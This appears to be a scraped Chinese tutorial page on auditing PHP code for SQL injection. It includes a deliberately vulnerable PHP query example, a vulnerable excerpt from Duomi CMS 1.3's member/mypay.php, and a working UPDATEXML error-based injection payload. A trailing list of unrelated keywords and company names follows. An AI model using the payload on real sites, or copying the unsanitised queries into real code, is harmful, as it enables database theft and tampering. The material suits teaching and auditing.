PHP代码审计SQL注入篇
发表于:2026-11-02 作者:千家信息网编辑
千家信息网最后更新 2026年11月02日,什么是SQL注入SQL注入***(SQL Injection),简称注入***,是Web开发中最常见的一种安全漏洞。可以用它来从数据库获取敏感信息,或者利用数据库的特性执行添加用户,导出文件等一系列恶
千家信息网最后更新 2026年11月02日PHP代码审计SQL注入篇
另外一个多米CMS最新版1.3版本注入实例。漏洞文件member/mypay.php(14-40行)
此处的"cardpwd"变量没有进行过滤就以POST提交方式传入了数据库造成注入。 构造POC如下(注意此处需要注册用户并且登陆详情请看该文件1-17行):
来自为知笔记(Wiz)
什么是SQL注入
SQL注入***(SQL Injection),简称注入***,是Web开发中最常见的一种安全漏洞。可以用它来从数据库获取敏感信息,或者利用数据库的特性执行添加用户,导出文件等一系列恶意操作,甚至有可能获取数据库乃至系统用户最高权限。
而造成SQL注入的原因是因为程序没有有效过滤用户的输入,使***者成功的向服务器提交恶意的SQL查询代码,程序在接收后错误的将***者的输入作为查询语句的一部分执行,导致原始的查询逻辑被改变,额外的执行了***者精心构造的恶意代码。
SQL注入实例
很多Web开发者没有意识到SQL查询是可以被篡改的,从而把SQL查询当作可信任的命令。殊不知,SQL查询是可以绕开访问控制,从而绕过身份验证和权限检查的。更有甚者,有可能通过SQL查询去运行主机系统级的命令。
下面将通过一些真实的例子来详细讲解SQL注入的方式。
测试代码如下:
php$uid=$_GET['id'];$sql="SELECT * FROM userinfo where id=$uid";$conn=mysql_connect ('localhost','root','root');mysql_select_db("sql",$conn);$result=mysql_query($sql,$conn);print_r('当前SQL语句: '.$sql.'
结果: ');print_r(mysql_fetch_row($result));?>
$uid=$_GET['id']; //获取GET值
$sql="SELECT * FROM userinfo where id=$uid"; //执行SQL语句
$conn=mysql_connect ('localhost','root','root');mysql_select_db("sql",$conn); //数据库配配置
$result=mysql_query($sql,$conn); //进行查询SQL语句
print_r('当前SQL语句: '.$sql.'
结果: ');print_r(mysql_fetch_row($result)); //进行打印输出没有任何的过滤所以利用简单的SQL注入语句就可以直接查询相关需要的信息。
另外一个多米CMS最新版1.3版本注入实例。漏洞文件member/mypay.php(14-40行)
if(empty($_SESSION['duomi_user_id'])){showMsg("请先登录","login.php");exit();}elseif($dm=='mypay'){$key=$_POST['cardkey'];if($key==""){showMsg("请输入充值卡号","-1");exit;}$pwd=$_POST['cardpwd'];if($pwd==""){showMsg("请输入充值卡密码","-1");exit;}$sqlt="SELECT * FROM duomi_card where ckey='$key'";$sqlt="SELECT * FROM duomi_card where cpwd='$pwd'";$row1 = $dsql->GetOne($sqlt);if(!is_array($row1) OR $row1['status']<>0){showMsg("充值卡信息有误","-1");exit;}else{$uname=$_SESSION['duomi_user_name'];$points=$row1['climit'];$dsql->executeNoneQuery("UPDATE duomi_card SET usetime=NOW(),uname='$uname',status='1' WHERE ckey='$key'");$dsql->executeNoneQuery("UPDATE duomi_card SET usetime=NOW(),uname='$uname',status='1' WHERE cpwd='$pwd'");$dsql->executeNoneQuery("UPDATE duomi_member SET points=points+$points WHERE username='$uname'");showMsg("恭喜!充值成功!","mypay.php");exit;}}else{
此处的"cardpwd"变量没有进行过滤就以POST提交方式传入了数据库造成注入。 构造POC如下(注意此处需要注册用户并且登陆详情请看该文件1-17行):
http://localhost/member/mypay.php?dm=mypayPOST:cardpwd=-1' AND (UPDATEXML(1,CONCAT(0x7e,(USER()),0x7e),1)) and '1'='1
来自为知笔记(Wiz)
查询
语句
数据
数据库
用户
代码
输入
信息
恶意
文件
成功
命令
实例
方式
权限
漏洞
程序
系统
结果
充值卡
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
互联网科技公司排名
互联网科技公司起名
互联网医疗科技
唐信互联网科技
亿策互联网科技
科技互联网公司logo
互联网科技公司有哪些
中国最先进互联网科技公司
福州新华互联网科技学校 知乎
晓花互联网科技有限公司网址
杭州壁岐互联网科技有限公司
互联网科技大奖都有哪些公司
华夏恒生科技与互联网科技
深圳市罗太互联网科技有限公司
特约风豹互联网科技为什么扣费
卓翼科技产业互联网合作
图游互联网科技
抖集互联网科技技术咨询
众联互联网络科技
恒生科技互联网指数十大成分股
科技企业和互联网企业
鑫亿盛互联网科技
腾讯科技 互联网女皇
互联网 科技服务平台
江阴互联网智能科技产品进口
启辰互联网科技
领航科技大厦互联网公司
互联网科技股为什么大涨
郑州欣桑互联网科技有限公司
珠海东科互联网科技有限公司